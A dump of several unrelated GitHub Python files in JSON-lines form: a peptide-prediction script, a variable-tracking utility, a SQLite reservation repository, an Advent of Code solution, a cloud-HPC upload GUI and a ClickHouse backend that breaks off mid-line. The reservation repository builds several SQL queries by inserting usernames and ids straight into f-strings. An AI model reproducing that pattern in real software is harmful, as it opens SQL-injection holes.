Model_num=str(Model_num)\n inFasta=str(inFasta)\n outFile=str(outFile)\n Features,seqs=getFeatures.DRLF_Embed(inFasta,outFile.replace(\".csv\",\"\")+\"Feature.csv\")\n print(seqs.shape)\n print(Features.shape)\n \n if Model_num==\"M\":\n model=joblib.load(\"./src/PretrainedModel/MAINBestLGBM148.joblib\")\n print(\"MainDataset Trained Model:\",model)\n\n scale=joblib.load(\"./src/PretrainedModel/MainStandardScaler633.joblib\")\n trainFeature=pd.read_csv(\"./src/PretrainedModel/MainSetFeature.csv\",header=None)\n X=Features[trainFeature.iloc[0,:]]\n X=scale.transform(X)\n X=X[:,:148]\n y_pred=model.predict(X)\n y_pred_prob=model.predict_proba(X)\n \n \n if Model_num==\"A\":\n model=joblib.load(\"./src/PretrainedModel/ALTBestLGBM129.joblib\")\n print(\"AlternateDataset Trained Model:\",model)\n scale=joblib.load(\"./src/PretrainedModel/AltSetStandardScaler493.joblib\")\n trainFeature=pd.read_csv(\"./src/PretrainedModel/AltFeature.csv\",header=None)\n X=Features[trainFeature.iloc[0,:]]\n X=scale.transform(X)\n X=X[:,:129]\n y_pred=model.predict(X)\n y_pred_prob=model.predict_proba(X)\n\n \n \n \n\n df_out=pd.DataFrame(np.zeros((y_pred_prob.shape[0],5)),columns=[\"Index\",\"Seq\",\"Prediction\",\"Pred_Label\",\"isACP_Probability\"])\n\n for i in range(y_pred.shape[0]):\n df_out.iloc[i,0]=i+1\n df_out.iloc[i,1]=seqs[\"Seq\"][i]\n if y_pred[i]==1:\n df_out.iloc[i,2]=\"ACP\"\n df_out.iloc[i,3]=1\n if y_pred[i]==0:\n df_out.iloc[i,2]=\"non-ACP\"\n df_out.iloc[i,3]=0\n df_out.iloc[i,4]=y_pred_prob[i,1]\n df_out.to_csv(outFile.replace(\".csv\",\"\")+\"PredResults.csv\",index=False)\n print(df_out.shape)\n print(df_out.head())\n return df_out\n \nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser('Script for AntiCancer Peptide identification by Deep Representation Learning Features.')\n parser.add_argument(\"-m\",help=\"M for model trained on mainDataset, A for model trained on alternateDataset\")\n parser.add_argument('-i', help='sequences in fasta format')\n parser.add_argument('-o', help='path to save prediction results in a CSV file')\n args = parser.parse_args()\n T0=time.time()\n predict(args.m,args.i,args.o)\n #df_out=predict(args.m,args.i,args.o)\n print(\"It takes\",(time.time()-T0)/60,\"mins!\")\n\n\n\n","repo_name":"zhibinlv/iACP-DRLF","sub_path":"iACP_DRLF.py","file_name":"iACP_DRLF.py","file_ext":"py","file_size_in_byte":2646,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"54"} +{"seq_id":"26903770147","text":"from enum import Enum\nfrom typing import Dict, Any, Callable, NoReturn, Tuple\n\nfrom hooloovoo.utils.arbitrary import V, Lazy\nfrom hooloovoo.utils.functional import default, raise_\n\nCondition = Callable[[V, V], bool]\n\n\nclass Tracker:\n\n def __init__(self):\n self._tracked = {}\n\n def track(self, **default_value: V):\n \"\"\"\n Adds a concise mechanism to build a function that only returns true after a certain value has changed according\n to a certain condition.\n\n EXAMPLE::\n\n TODO\n\n :param default_value: The initial value of the parameter to track.\n :return: callable with arguments: 1) the condition on which to return True and 2) auto_update, a bool.\n \"\"\"\n if len(default_value) != 1:\n raise Exception(f\"Can only track exactly 1 value, {len(default_value)} given\")\n\n key, default_value_ = default_value.popitem()\n self._tracked.setdefault(key, default_value_)\n\n def get_condition(condition: Condition[V], new: Lazy[V] = None, auto_update: bool = True) -> \"TrackedVariable\":\n \"\"\"\n :param condition: condition to trigger, (old, new) -> bool\n :param new: how to get the new value of the variable\n :param auto_update: should the old value automatically be replaced by the new value if the condition is met?\n Default is True.\n :return: A `TrackedVariable`.\n \"\"\"\n return TrackedVariable(self._tracked, key, condition=condition, new=new, auto_update=auto_update)\n\n return get_condition\n\n\nclass _Op(Enum):\n PURE = 0\n AND = 1\n OR = 2\n NOT = -1\n\n\n# !noinspection PyUnboundLocalVariable,PyUnresolvedReferences\nclass _Exp:\n def __init__(self, op: _Op, *args: \"_Exp\"):\n self._op = op\n self._args = args\n self._check()\n\n def _raise_bad_op(self) -> NoReturn:\n raise AssertionError(\"Unknown operator: \" + str(self._op))\n\n def _check(self):\n for arg in self._args:\n assert isinstance(arg, _Exp)\n if self._op == _Op.PURE:\n assert isinstance(self, TrackedVariable)\n elif self._op == _Op.AND:\n assert len(self._args) == 2\n elif self._op == _Op.OR:\n assert len(self._args) == 2\n elif self._op == _Op.NOT:\n assert len(self._args) == 1\n else:\n self._raise_bad_op()\n\n def __and__(self, other) -> \"_Exp\":\n return _Exp(_Op.AND, self, other)\n\n def __or__(self, other) -> \"_Exp\":\n return _Exp(_Op.OR, self, other)\n\n def __neg__(self) -> \"_Exp\":\n return _Exp(_Op.NOT, self)\n\n def _eval(self, new: Dict[str, Any]) -> bool:\n \"\"\"\n Evaluates the expression and modifies the `new` input parameter in-place such that it contains all the new\n values of each tracked variable.\n \"\"\"\n if self._op == _Op.PURE:\n assert isinstance(self, TrackedVariable)\n triggered, v = self._call(new.get(self.key), should_update=False)\n new[self.key] = v\n elif self._op == _Op.AND:\n triggered = self._args[0].eval(False)(**new) and self._args[1].eval(False)(**new)\n elif self._op == _Op.OR:\n triggered = self._args[0].eval(False)(**new) or self._args[1].eval(False)(**new)\n elif self._op == _Op.NOT:\n triggered = not self._args[0].eval(False)(**new)\n else:\n self._raise_bad_op()\n return triggered\n\n def eval(self, should_update: bool = None):\n def get_kwargs(**new: Any):\n triggered = self._eval(new)\n\n # only update values when the whole expression is triggered\n def update(tv: TrackedVariable):\n if should_update is None:\n if tv.auto_update:\n tv.update(new.get(tv.key))\n if should_update is True:\n tv.update(new.get(tv.key))\n self.apply_to_leaves(update)\n\n return triggered\n\n return get_kwargs\n\n def __call__(self, **new) -> bool:\n return self.eval()(**new)\n\n def __bool__(self) -> bool:\n return self()\n\n def apply_to_leaves(self, f: Callable[[\"TrackedVariable\"], None]):\n if self._op == _Op.PURE:\n assert isinstance(self, TrackedVariable)\n f(self)\n else:\n for arg in self._args:\n arg.apply_to_leaves(f)\n\n def update_all(self, **new):\n def update_leaf(tv: TrackedVariable):\n tv.update(new.get(tv.key))\n self.apply_to_leaves(update_leaf)\n\n def values(self) -> Dict[str, Any]:\n vals = {}\n\n def get_val(tv: TrackedVariable):\n vals[tv.key] = tv.value\n self.apply_to_leaves(get_val)\n return vals\n\n def _repr(self, root: bool) -> str:\n if self._op == _Op.PURE:\n assert isinstance(self, TrackedVariable)\n txt = \"{}={}\".format(self.key, self.value)\n elif self._op == _Op.AND:\n txt = \"({} & {})\".format(self._args[0]._repr(False), self._args[1]._repr(False))\n elif self._op == _Op.OR:\n txt = \"({} | {})\".format(self._args[0]._repr(False), self._args[1]._repr(False))\n elif self._op == _Op.NOT:\n txt = \"-{}\".format(self._args[0]._repr(False))\n else:\n self._raise_bad_op()\n\n if root:\n sur = \"TrackedVariable({})\" if self._op == _Op.PURE else \"Exp`{}`\"\n return sur.format(txt)\n else:\n return txt\n\n def __repr__(self) -> str:\n return self._repr(True)\n\n\nclass TrackedVariable(_Exp):\n def __init__(self, store: Dict[str, Any], key: str, condition: Condition[V], new: Lazy[V], auto_update: bool):\n super(TrackedVariable, self).__init__(_Op.PURE, self)\n self._store = store\n self.key = key\n self._condition = condition\n self._new = default(new, lambda: raise_(RuntimeError(\"No `new` function set for variable \" + str(key))))\n self.auto_update = auto_update\n\n def _call(self, new: V = None, should_update: bool = None) -> Tuple[bool, V]:\n old: V = self.value\n new: V = self._new() if new is None else new # cannot use default() here because it will always trigger _new()\n should_update = default(should_update, self.auto_update)\n triggered: bool = self._condition(old, new)\n\n # print(f\"triggered {key}: {triggered}, old: {old}, new: {new}\")\n if should_update:\n self.update(new)\n return triggered, new\n\n def __call__(self, new: V = None, should_update: bool = None) -> bool:\n return self._call(new, should_update)[0]\n\n def update(self, new: V = None) -> None:\n new: V = self._new() if new is None else new # cannot use default() here because it will always trigger _new()\n self._store[self.key] = new\n\n @property\n def value(self) -> V:\n return self._store[self.key]\n","repo_name":"MMichaelVdV/hooloovoo","sub_path":"hooloovoo/utils/track.py","file_name":"track.py","file_ext":"py","file_size_in_byte":6968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73753352482","text":"import sqlite3\nfrom constants import DB\nimport datetime\nimport service.UserReservationService as URS\nimport service.UserService as US\nimport repository.Repository as Repo\n\nDEBUG = True\n\ndef sendReservationCode():\n return \"Reservation Code Sent\"\n\ndef initializeReservationsTable():\n c, conn = Repo.getCursorAndConnection()\n\n c.execute(f'''CREATE TABLE IF NOT EXISTS {DB.reservations} (\n id INTEGER PRIMARY KEY AUTOINCREMENT, \n role TEXT NOT NULL,\n date DATE NOT NULL, \n start_time TIME NOT NULL, \n end_time TIME NOT NULL,\n public_or_private TEXT,\n classroom TEXT,\n priority_reserved INTEGER)''')\n \n conn.commit()\n conn.close()\n \ndef createReservation(role, date, start_time, end_time, username, public_or_private, classroom, priority_reserved):\n c, conn = Repo.getCursorAndConnection()\n c.execute('''INSERT INTO reservations_db (role, date, start_time, end_time, public_or_private, classroom, priority_reserved)\n VALUES (?, ?, ?, ?, ?, ?, ?)''', (role, date, start_time, end_time, public_or_private, classroom, priority_reserved))\n conn.commit()\n conn.close()\n\n reservation_id = getReservationId(role, date, start_time, end_time, public_or_private, classroom, priority_reserved)\n \n # FIXME: Works but probably a bad practice to call service layer here\n user_id = US.getIdByUsername(username)\n\n # FIXME: Works but probably a bad practice to call service layer here\n URS.createUserReservation(reservation_id, user_id, True)\n\n\n\ndef getAllReservations():\n c, conn = Repo.getCursorAndConnection()\n\n query = f'''SELECT r.id, r.role, r.date, r.start_time, r.end_time, u.username, r.public_or_private, r.classroom, r.priority_reserved\n FROM {DB.reservations} as r\n JOIN {DB.user_reservation} AS ur ON r.id = ur.reservation_id\n JOIN {DB.users} AS u ON ur.user_id = u.id'''\n\n c.execute(query)\n data = c.fetchall()\n conn.close()\n\n return data\n \n\ndef getOwnedReservationsByUsername(username: str):\n c, conn = Repo.getCursorAndConnection()\n\n query = f\"\"\"SELECT r.id, r.role, r.date, r.start_time, r.end_time, u.username, r.public_or_private, r.classroom, r.priority_reserved\n FROM {DB.reservations} as r\n JOIN {DB.user_reservation} AS ur ON r.id = ur.reservation_id\n JOIN {DB.users} AS u ON ur.user_id = u.id\n WHERE u.username = '{username}' and ur.is_owner = true\"\"\"\n\n c.execute(query)\n data = c.fetchall()\n conn.close()\n return data\n\n\ndef getJoinedReservationsByUsername(username: str):\n c, conn = Repo.getCursorAndConnection()\n\n query = f\"\"\"SELECT r.id, r.role, r.date, r.start_time, r.end_time, owner.username, r.public_or_private, r.classroom, r.priority_reserved\n FROM {DB.reservations} as r\n JOIN {DB.user_reservation} AS ur ON r.id = ur.reservation_id\n JOIN {DB.users} AS owner ON ur.user_id = owner.id\n\t\t\t\tWHERE ur.is_owner = true AND r.id IN (\n\t\t\t\tSELECT r2.id\n\t\t\t\tFROM {DB.reservations} as r2\n\t\t\t\tJOIN {DB.user_reservation} AS ur2 ON r2.id = ur2.reservation_id\n\t\t\t\tJOIN {DB.users} AS u ON ur2.user_id = u.id\n\t\t\t\tWHERE ur2.is_owner = false AND u.username = '{username}')\"\"\"\n\n c.execute(query)\n data = c.fetchall()\n conn.close()\n return data\n\n\ndef getPriorityById(id):\n c, conn = Repo.getCursorAndConnection()\n\n c.execute(f\"SELECT priority_reserved FROM {DB.reservations} WHERE id = ?\", (id,))\n priority = c.fetchone()\n conn.close()\n return priority\n\ndef getPublicityById(id):\n c, conn = Repo.getCursorAndConnection()\n\n c.execute(f\"SELECT public_or_private FROM {DB.reservations} WHERE id = ?\", (id,))\n priority = c.fetchone()\n conn.close()\n return priority\n\ndef getClassById(id):\n c, conn = Repo.getCursorAndConnection()\n\n c.execute(f\"SELECT classroom FROM {DB.reservations} WHERE id = ?\", (id,))\n priority = c.fetchone()\n conn.close()\n return priority\n\n\ndef getReservationId(role, date, start_time, end_time, public_or_private, classroom, priority_reserved):\n c, conn = Repo.getCursorAndConnection()\n\n c.execute(f\"SELECT id FROM {DB.reservations} WHERE role=? AND date=? AND start_time=? AND end_time=? AND public_or_private=? AND classroom = ? AND priority_reserved=?\", \n (role, date, start_time, end_time, public_or_private, classroom, priority_reserved))\n \n reservation_id = c.fetchone()\n conn.close()\n \n try:\n reservation_id = reservation_id[0]\n except TypeError:\n print(\"Be careful, could not fetch reservation id\")\n reservation_id = -1\n\n return reservation_id \n\n\ndef isUserInReservation(user_id, reservation_id):\n c, conn = Repo.getCursorAndConnection()\n\n c.execute(f\"SELECT COUNT(*) FROM {DB.user_reservation} WHERE user_id = '{user_id}' AND reservation_id = '{reservation_id}'\")\n isIn = c.fetchone()[0] > 0\n\n conn.close()\n return isIn\n\n\ndef isReservationOwner(user_id, reservation_id):\n c, conn = Repo.getCursorAndConnection()\n\n c.execute(f\"SELECT COUNT(*) FROM {DB.user_reservation} WHERE user_id = '{user_id}' AND reservation_id = '{reservation_id}' AND is_owner = true\")\n isOwner = c.fetchone()[0] > 0\n\n conn.close()\n return isOwner\n\n\ndef updateReservation(role, date, start_time, end_time, reservation_purpose, reserved_classroom, priority_reserved, id):\n c, conn = Repo.getCursorAndConnection()\n\n c.execute(f\"UPDATE {DB.reservations} SET role=?, date=?, start_time=?, end_time=?, public_or_private=?, classroom = ?, priority_reserved=? WHERE id=?\", \n (role, date, start_time, end_time, reservation_purpose, reserved_classroom, priority_reserved, id))\n\n conn.commit()\n conn.close()\n\ndef delete_reservation_from_db(role, date, start_time, end_time, public_or_private, classroom, priority_reserved):\n reservation_id = getReservationId(role, date, start_time, end_time, public_or_private, classroom, priority_reserved)\n deleteReservationById(reservation_id)\n\n\ndef deleteReservationById(id):\n c, conn = Repo.getCursorAndConnection()\n\n c.execute(f'''DELETE FROM {DB.reservations} WHERE\n id = ?''',\n (id,))\n conn.commit()\n conn.close() \n\ndef reservedClassroomsByInterval(start_date, start_time, duration):\n \"\"\"\n Finds the classrooms that are occupied by a reservation between start_date,start_time to start_date,start_time + duration\n There is an occupation for a classroom if there exists a reservation at that classroom that satisfies all rules:\n 1. Starts before the end of the specified datetime: (start_date,start_time + duration)\n 2. Ends after the start of the specified datetime: (start_date,start_time)\n\n :param start_date: String in the form of \"YYYY-MM-DD\" that specifies the date of interest, ex: \"2023-06-24\"\n :param start_time: String in the form of \"HH:MM\" that specifies the time of interest, ex: \"18:45\"\n :param duration: Integer that specifies the duration of interest IN MINUTES\n \"\"\"\n c, conn = Repo.getCursorAndConnection()\n\n start_datetime = f'{start_date} {start_time}'\n\n query = f'''SELECT id, classroom FROM {DB.reservations}\n WHERE \n ((date || \" \" || start_time) < datetime(\"{start_datetime}\", \"+{duration} minutes\")\n and (date || \" \" || end_time) > \"{start_datetime}\"\n and start_time < end_time)\n or\n ((date || \" \" || start_time) < datetime(\"{start_datetime}\", \"+{duration} minutes\")\n and datetime(date || \" \" || end_time, \"+1 days\") > \"{start_datetime}\"\n and start_time > end_time)'''\n\n c.execute(query) \n reservation_info = c.fetchall()\n conn.close()\n\n return reservation_info\n\ndef getUsernameByReservationId(ids):\n c, conn = Repo.getCursorAndConnection()\n id_string = ', '.join(map(str, ids))\n\n query = f'''SELECT DISTINCT username\n FROM {DB.user_reservation} as UR\n JOIN {DB.users} ON UR.user_id = {DB.users}.id\n WHERE UR.reservation_id IN ({id_string})\n '''\n\n c.execute(query)\n\n users = c.fetchall()\n users = [user[0] for user in users]\n\n conn.close()\n return users","repo_name":"Baris000-eng/Comp491_Project","sub_path":"repository/ReservationRepository.py","file_name":"ReservationRepository.py","file_ext":"py","file_size_in_byte":8359,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"19906872890","text":"\ninput = \"2022/day2/input.txt\"\nsmallInput = \"2022/day2/smalInput.txt\"\n\nwith open(input) as puzzle_input:\n testCase = [line.rstrip('\\n').split(\" \") for line in puzzle_input.readlines()]\n\n#Defing metrics\n#their rock\nELF_ROCK = 'A'\nELF_PAPER = 'B'\nELF_SCISSORS = 'C'\n\nMY_ROCK = 'X'\nMY_PAPER = 'Y'\nMY_SCISSORS = 'Z'\n\nWIN_BONUS = 6\nDRAW_BONUS = 3\nROCK_BONUS = 1\nPAPER_BONUS = 2\nSCISSOR_Bonus = 3\n\ndef getResults(option):\n if option == ELF_ROCK:\n return(MY_PAPER,MY_ROCK,MY_SCISSORS)\n elif option == ELF_PAPER:\n return(MY_SCISSORS,MY_PAPER,MY_ROCK)\n elif option == ELF_SCISSORS:\n return(MY_ROCK,MY_SCISSORS,MY_PAPER)\n\n \ndef calcIt(puzzel, sum): \n for moves in puzzel:\n if moves[0] == ELF_ROCK:\n #draw\n if moves[1] == MY_ROCK:\n sum += ROCK_BONUS + DRAW_BONUS\n #win\n elif moves[1] == MY_PAPER:\n sum += PAPER_BONUS + WIN_BONUS\n #lose\n else:\n sum += SCISSOR_Bonus\n elif moves[0] == ELF_PAPER:\n #draw\n if moves[1] == MY_PAPER:\n sum += PAPER_BONUS + DRAW_BONUS\n #lose\n elif moves[1] == MY_ROCK:\n sum += ROCK_BONUS\n #win\n else:\n sum += SCISSOR_Bonus +WIN_BONUS\n elif moves[0] == ELF_SCISSORS:\n #draw\n if moves[1] == MY_SCISSORS:\n sum += SCISSOR_Bonus + DRAW_BONUS\n #lose\n elif moves[1] == MY_PAPER:\n sum += PAPER_BONUS\n #win\n else:\n sum += ROCK_BONUS +WIN_BONUS \n return sum \n\nlisti = []\n\nfor moves in testCase:\n if moves[1] == MY_ROCK:\n listi.append([moves[0], getResults(moves[0])[2]])\n elif moves[1] == MY_PAPER:\n listi.append([moves[0], getResults(moves[0])[1]])\n elif moves[1] == MY_SCISSORS:\n listi.append([moves[0], getResults(moves[0])[0]])\n \n\nprint(f'challange 1 {calcIt(testCase,0)}')\nprint(f'challange 2 {calcIt(listi,0)}')","repo_name":"megamxl/aoc","sub_path":"2022/day2/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"2987052781","text":"#!/bin/python3\n\n#import PySimpleGUI as sg\n\nimport tkinter as tk\nfrom tkinter import ttk, filedialog\nfrom pathlib import Path\nimport os, json\n\n# dependencies installation\n#os.system(\"pip install touch requests\")\nimport touch, requests, shutil\n\ntry:\n os.makedirs( os.path.join( str( Path.home() ) , '.cfscloudhpc') )\nexcept FileExistsError:\n pass\n\nDOTENV_FILE = os.path.join( str( Path.home() ) , '.cfscloudhpc', 'apikey' )\nfile = open( DOTENV_FILE,'a+')\nfile.close()\n\n# window definition\nroot = tk.Tk()\n\nroot.title( \"Cloud HPC - Run\" )\nroot.grid_columnconfigure(0, weight=5)\nroot.grid_columnconfigure(1, weight=5)\nroot.grid_columnconfigure(2, weight=1)\n\nwindow_width = 300\nwindow_height = 200\n\n# get the screen dimension\nscreen_width = root.winfo_screenwidth()\nscreen_height = root.winfo_screenheight()\n\n# find the center point\ncenter_x = int(screen_width/2 - window_width / 2)\ncenter_y = int(screen_height/2 - window_height / 2)\n\nroot.geometry(f'{window_width}x{window_height}+{center_x}+{center_y}')\nroot.resizable(False,False)\n\n#SEMPRE IN PRIMO PIANO\nroot.attributes('-topmost', 1)\n\n#ICONA DELLA FINESTRA\n#root.iconbitmap('./assets/pythontutorial.ico')\n\n#APIKEY\napikey = tk.StringVar()\n\nenv_file = open( DOTENV_FILE, 'r' )\napikey_file = env_file.readline()\nenv_file.close()\n\napikey.set( apikey_file )\n\nttk.Label(root, text=\"APIKEY:\").grid( row=3, column=0 )\nttk.Entry(root, textvariable=apikey, width=30).grid( row=3, column=1, columnspan=2 )\n#apikey_entry.pack(fill='x', expand=True)\n\nif ( apikey.get() != \"\" ):\n\n #CPU DROP DOWN\n headers = { \"X-API-key\" : apikey.get().rstrip(\"\\n\"), \"accept\" : \"application/json\", }\n cpu_response = requests.get( 'https://cloud.cfdfeaservice.it/api/v2/simulation/view-cpu', headers=headers)\n\n cpu_dropdown = tk.StringVar()\n\n #If APIKEY is incorrect we detect it here and remove the APIKEY file\n try:\n cpu_dropdown.set( cpu_response.json()['response'][0] )\n except:\n env_file.close()\n os.remove( DOTENV_FILE )\n\n ttk.Label(root, text=\"vCPU:\").grid( row=4, column=0 )\n cpumenu = tk.OptionMenu( root, cpu_dropdown, *cpu_response.json()['response'] )\n cpumenu.grid( row=4, column=1, columnspan=2 )\n cpumenu.config(width=25)\n\n #RAM DROP DOWN\n headers = { 'X-API-key' : apikey.get().rstrip(\"\\n\"), 'accept' : 'application/json', }\n ram_response = requests.get( 'https://cloud.cfdfeaservice.it/api/v2/simulation/view-ram', headers=headers)\n\n ram_dropdown = tk.StringVar()\n ram_dropdown.set( ram_response.json()['response'][0] )\n\n ttk.Label(root, text=\"RAM:\").grid( row=5, column=0 )\n rammenu = tk.OptionMenu( root, ram_dropdown, *ram_response.json()['response'] )\n rammenu.grid( row=5, column=1, columnspan=2 )\n rammenu.config(width=25)\n\n #SCRIPT DROP DOWN\n headers = { 'X-API-key' : apikey.get().rstrip(\"\\n\"), 'accept' : 'application/json', }\n scripts_response = requests.get( 'https://cloud.cfdfeaservice.it/api/v2/simulation/view-scripts', headers=headers)\n\n scripts_dropdown = tk.StringVar()\n scripts_dropdown.set( scripts_response.json()['response'][0] )\n\n ttk.Label(root, text=\"SCRIPT:\").grid( row=6, column=0 )\n scriptmenu = tk.OptionMenu( root, scripts_dropdown, *scripts_response.json()['response'] )\n scriptmenu.grid( row=6, column=1, columnspan=2 )\n scriptmenu.config(width=25)\n\n #FOLDER\n def getFolderPath():\n folder_selected = filedialog.askdirectory()\n folderPath.set(folder_selected)\n\n folderPath = tk.StringVar()\n ttk.Label(root, text=\"FOLDER:\").grid( row=7, column=0 )\n ttk.Entry(root, textvariable=folderPath).grid( row=7, column=1 )\n ttk.Button(root, text=\"Browse Folder\",command=getFolderPath).grid( row=7, column=2)\n\n #BOTTONE\n def select(APIKEY, DOTENV_FILE, cpu, ram, script, path):\n print(APIKEY)\n print(cpu)\n print(ram)\n print(script)\n print(path)\n\n #Saving APIKEY\n env_file = open( DOTENV_FILE , 'w')\n env_file.write( APIKEY )\n env_file.close()\n\n #Compress folder\n shutil.make_archive( os.path.join( os.path.join( path, os.pardir ) , \"simulation\" ), 'zip', path )\n\n #URL upload\n data = { \"dirname\": os.path.basename( path ), \n \"filename\": \"simulation.zip\",\n \"contentType\": \"application/gzip\"\n }\n\n headers = { 'X-API-key' : apikey.get().rstrip(\"\\n\"), 'accept' : 'application/json', 'Content-Type' : 'application/json', }\n url_upload_response = requests.post( 'https://cloud.cfdfeaservice.it/api/v2/storage/upload-url', headers=headers, json=data )\n\n files = {'file': open( os.path.join( os.path.join( path, os.pardir ) , \"simulation.zip\" ) ,'rb')}\n headers = { 'content-type' : 'application/gzip', }\n upload_file = requests.put( url_upload_response.json()['response']['url'], files=files, headers=headers )\n\n data = { \"cpu\": int( cpu),\n \"ram\": ram,\n \"folder\": os.path.basename( path ),\n \"script\": script,\n }\n headers = { 'X-API-key' : apikey.get().rstrip(\"\\n\"), 'accept' : 'application/json', 'Content-Type' : 'application/json', }\n simulation_exec = requests.post( 'https://cloud.cfdfeaservice.it/api/v2/simulation/add', headers=headers, json=data )\n\n print( \"Esecution ID: \" + str( simulation_exec.json()['response'] ) )\n\n root.destroy()\n \n ButtonOK = ttk.Button(root, text='Launch', command=lambda:select( apikey.get().rstrip(\"\\n\") , DOTENV_FILE , cpu_dropdown.get(), ram_dropdown.get(), scripts_dropdown.get(), folderPath.get() ) ).place( x=window_width-160, y=window_height-30 )\n ButtonCancel = ttk.Button( root, text='Cancel', command=root.destroy ).place( x=window_width-80, y=window_height-30 )\n\nelse:\n def saveapikey(APIKEY):\n #Saving APIKEY\n env_file = open( DOTENV_FILE , 'w')\n env_file.write( APIKEY )\n env_file.close()\n\n ButtonOK = ttk.Button(root, text='Save', command=lambda: saveapikey( apikey.get().rstrip(\"\\n\") ) ).place( x=window_width-160, y=window_height-30 )\n ButtonEXIT = ttk.Button(root, text='Exit', command=root.destroy).place( x=window_width-80, y=window_height-30 )\n\n# keep the window displaying\nroot.mainloop()\n\nif 'folderPath' in locals():\n os.remove( os.path.join( folderPath.get(), os.pardir, \"simulation.zip\" ) )\n","repo_name":"CFD-FEA-SERVICE/CloudHPC","sub_path":"exampleAPI/cloudHPCexec.py","file_name":"cloudHPCexec.py","file_ext":"py","file_size_in_byte":6289,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"54"} +{"seq_id":"182469409","text":"from __future__ import annotations\n\nfrom collections import OrderedDict\n\nimport pandas as pd\n\nimport ibis\nimport ibis.config\nimport ibis.expr.schema as sch\nfrom ibis.backends.base.sql import BaseSQLBackend\nfrom ibis.config import options\n\nfrom .client import (\n ClickhouseClient,\n ClickhouseDataType,\n ClickhouseTable,\n fully_qualified_re,\n)\nfrom .compiler import ClickhouseCompiler\n\n_default_compression: str | bool\n\ntry:\n import lz4 # noqa: F401\n\n _default_compression = 'lz4'\nexcept ImportError:\n _default_compression = False\n\n\nclass Backend(BaseSQLBackend):\n name = 'clickhouse'\n client_class = ClickhouseClient\n table_expr_class = ClickhouseTable\n compiler = ClickhouseCompiler\n\n def connect(\n self,\n host='localhost',\n port=9000,\n database='default',\n user='default',\n password='',\n client_name='ibis',\n compression=_default_compression,\n ):\n \"\"\"Create an ClickhouseClient for use with Ibis.\n\n Parameters\n ----------\n host : str, optional\n Host name of the clickhouse server\n port : int, optional\n Clickhouse server's port\n database : str, optional\n Default database when executing queries\n user : str, optional\n User to authenticate with\n password : str, optional\n Password to authenticate with\n client_name: str, optional\n This will appear in clickhouse server logs\n compression: str, optional\n Weather or not to use compression.\n Default is lz4 if installed else False.\n Possible choices: lz4, lz4hc, quicklz, zstd, True, False\n True is equivalent to 'lz4'.\n\n Examples\n --------\n >>> import ibis\n >>> import os\n >>> clickhouse_host = os.environ.get('IBIS_TEST_CLICKHOUSE_HOST',\n ... 'localhost')\n >>> clickhouse_port = int(os.environ.get('IBIS_TEST_CLICKHOUSE_PORT',\n ... 9000))\n >>> client = ibis.clickhouse.connect(\n ... host=clickhouse_host,\n ... port=clickhouse_port\n ... )\n >>> client # doctest: +ELLIPSIS\n \n\n Returns\n -------\n ClickhouseClient\n \"\"\"\n self.client = ClickhouseClient(\n backend=self,\n host=host,\n port=port,\n database=database,\n user=user,\n password=password,\n client_name=client_name,\n compression=compression,\n )\n return self.client\n\n def register_options(self):\n ibis.config.register_option(\n 'temp_db',\n '__ibis_tmp',\n 'Database to use for temporary tables, views. functions, etc.',\n )\n\n @property\n def version(self) -> str:\n self.client.con.connection.force_connect()\n try:\n info = self.client.con.connection.server_info\n except Exception:\n self.client.con.connection.disconnect()\n raise\n\n return f'{info.version_major}.{info.version_minor}.{info.revision}'\n\n @property\n def current_database(self):\n return self.client.con.connection.database\n\n def list_databases(self, like=None):\n data, schema = self.client.raw_sql('SELECT name FROM system.databases')\n databases = list(data[0])\n return self._filter_with_like(databases, like)\n\n def list_tables(self, like=None, database=None):\n data, schema = self.client.raw_sql('SHOW TABLES')\n databases = list(data[0])\n return self._filter_with_like(databases, like)\n\n def raw_sql(self, query: str, external_tables={}):\n external_tables_list = []\n for name, df in external_tables.items():\n if not isinstance(df, pd.DataFrame):\n raise TypeError(\n 'External table is not an instance of pandas ' 'dataframe'\n )\n schema = sch.infer(df)\n external_tables_list.append(\n {\n 'name': name,\n 'data': df.to_dict('records'),\n 'structure': list(\n zip(\n schema.names,\n [\n str(ClickhouseDataType.from_ibis(t))\n for t in schema.types\n ],\n )\n ),\n }\n )\n\n ibis.util.log(query)\n return self.con.execute(\n query,\n columnar=True,\n with_column_types=True,\n external_tables=external_tables_list,\n )\n\n def ast_schema(self, query_ast, external_tables={}):\n # Allowing signature to accept `external_tables`\n return super().ast_schema(query_ast)\n\n def fetch_from_cursor(self, cursor, schema):\n data, columns = cursor\n if not len(data):\n # handle empty resultset\n return pd.DataFrame([], columns=schema.names)\n\n df = pd.DataFrame.from_dict(OrderedDict(zip(schema.names, data)))\n return schema.apply_to(df)\n\n def close(self):\n \"\"\"Close Clickhouse connection and drop any temporary objects\"\"\"\n self.con.disconnect()\n\n def _fully_qualified_name(self, name, database):\n if fully_qualified_re.search(name):\n return name\n\n database = database or self.current_database\n return f'{database}.`{name}`'\n\n def get_schema(self, table_name, database=None):\n \"\"\"\n Return a Schema object for the indicated table and database\n\n Parameters\n ----------\n table_name : string\n May be fully qualified\n database : string, default None\n\n Returns\n -------\n schema : ibis Schema\n \"\"\"\n qualified_name = self._fully_qualified_name(table_name, database)\n query = f'DESC {qualified_name}'\n data, columns = self.raw_sql(query)\n return sch.schema(\n data[0], list(map(ClickhouseDataType.parse, data[1]))\n )\n\n def set_options(self, options):\n self.con.set_options(options)\n\n def reset_options(self):\n # Must nuke all cursors\n raise NotImplementedError\n\n def _ensure_temp_db_exists(self):\n name = (options.clickhouse.temp_db,)\n if name not in self.list_databases():\n self.create_database(name, force=True)\n\n def _get_schema_using_query(self, query, **kwargs):\n data, columns = self.raw_sql(query, **kwargs)\n colnames, typenames = zip(*columns)\n coltypes = list(map(ClickhouseDataType.parse, typenames))\n return sch.schema(colnames, coltypes)\n\n def _table_command(self, cmd, name, database=None):\n qualified_name = self._fully_qualified_name(name, database)\n return f'{cmd} 